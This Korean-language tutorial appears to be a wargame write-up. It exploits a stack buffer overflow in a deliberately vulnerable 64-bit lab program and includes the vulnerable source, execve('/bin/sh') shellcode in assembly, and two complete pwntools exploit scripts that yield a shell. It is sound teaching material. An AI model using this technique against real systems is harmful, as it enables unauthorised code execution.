[Pwnable] Buffer Overflow
기본적인 포너블 공격 기법인 Buffer Overflow(BOF)를 하는 방법을 정리해 보았다.
(Kali Linux 환경에서 진행함.)
Vulnerable Program
r2s.c
int main(int argc, const char **argv, const char **envp)
{
char buf[80];
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n", 80);
puts("Overwrite the return address");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x500u);
return 0;
}
위 C 코드에선 입력 buffer의 크기가 80인데, 그보다 긴 입력값을 넣을 수 있다.
BOF로 main의 스택 메모리를 침범할 수 있는 취약한 코드에 해당한다.
구체적으로, 80바이트보다 긴 입력이 주어지게 되면 main 함수의 stack frame에서 지역변수 char buf[80] 위에 있는 old rbp 값과 return address이 차례대로 덮어쓰이게 된다. 따라서, payload의 87번 바이트부터 8개 바이트를 원하는 프로그램이 있는 메모리 주소로 설정해 입력하면 (물론 endian을 고려해야 한다.) 코드의 흐름을 탈취할 수 있다.
공격을 하기 전, checksec을 이용해 공격하고자 하는 바이너리의 보안 설정들을 확인해 보면, Stack이 Executable로 설정되어 있다. BOF를 이용해 스택 영역에 shellcode를 삽입하고 IP를 그곳으로 옮기면 시스템이 실행해줄 수 있다는 의미이다.
$ checksec r2s
[*] '/home/user/guardian2025/r2s'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
따라서, payload를 다음과 같이 설계해볼 수 있다.
payload = b''
payload += b'A' * dist # buf[80] 채우기
payload += b'A' * 8 # BoF 시작, old rbp를 overwrite
payload += p64(buf+dist+0x10) # return address를 내가 작성한 shellscript가 있는 곳으로 overwrite
payload += shellcode # shell을 실행시켜 줄 shellcode
우리가 스택 영역에 집어넣을 shellcode는 system call의 하나인 execve를 날려 시스템이 '/bin/sh'를 실행하게 하는 역할을 할 것이다.
shellcode를 만드는 방법으로는 (1) x86 assembly를 이용해 직접 코딩한 후 어셈블하는 방법과 (2) pwntools의 shellcraft 기능을 이용하는 방법이 있다.
(1) x86 Assembly 직접 코딩하기
sol.asm
section .text
global _start
_start:
mov rax, 0x0068732f6e69622f ; // '/bin/sh' in little-endian
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 0x3b ; // syscall: execve
syscall
위와 같이 어셈블리 코드를 작성했으니, nasm을 이용해 어셈블한 후 코드를 binary 파일로 저장한다.
$ nasm -f elf64 sol.asm -o sol.o
$ objcopy --dump-section .text=sol.bin sol.o
이후 파이썬 코드로 불러와서, payload에 실어주면 된다. 전체 exploit 코드는 다음과 같다.
solution1.py
from pwn import *
context.arch = "amd64"
p = process(b'./r2s')
# 현재 buffer address 받아오기
p.recvuntil(b'buf: 0x')
buf = int(p.recvline(keepends=False), 16)
# 현재 스택에서 rbp까지의 거리 받아오기
p.recvuntil(b'$rbp:')
dist = int(p.recvline(keepends=False))
# shellcode를 포함한 payload 작성
with open('sol.bin', 'rb') as f:
shellcode = f.read()
payload = b''
payload += b'A' * dist
payload += b'A' * 8
payload += p64(buf+dist+0x10)
payload += shellcode
# payload 보내기
p.sendafter(b"Input:", payload)
p.interactive()
print(p.recvall())
이 코드를 돌려 보면, /bin/sh가 실행되어 shell을 얻은 것을 확인할 수 있다.
$ python -u "/home/user/guardian2025/solution1.py"
[+] Starting local process './r2s': pid 18621
[*] Switching to interactive mode
$
(2) Shellcraft 이용하기
위와 같이 일일이 별개의 .asm 파일을 작성, 어셈블해 불러오지 않고도, shellcraft를 이용하면 간편하게 shellcode를 만들 수 있다.
이 경우 exploit 코드는 다음과 같다.
solution2.py
from pwn import *
context.arch = "amd64"
p = process(b'./r2s')
# 현재 buffer address 받아오기
p.recvuntil(b'buf: 0x')
buf = int(p.recvline(keepends=False), 16)
# 현재 스택에서 rbp까지의 거리 받아오기
p.recvuntil(b'$rbp:')
dist = int(p.recvline(keepends=False))
# shellcode를 포함한 payload 작성
shellcode = asm(shellcraft.pushstr(b'/bin/sh') +
'''
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall
''')
payload = b''
payload += b'A' * dist
payload += b'A' * 8
payload += p64(buf+dist+0x10)
payload += shellcode
# payload 보내기
p.sendafter(b"Input:", payload)
p.interactive()
print(p.recvall())
마찬가지로 실행 시 shell을 얻은 것을 확인할 수 있다.
$ python -u "/home/user/guardian2025/solution2.py"
[+] Starting local process './r2s': pid 18621
[*] Switching to interactive mode
$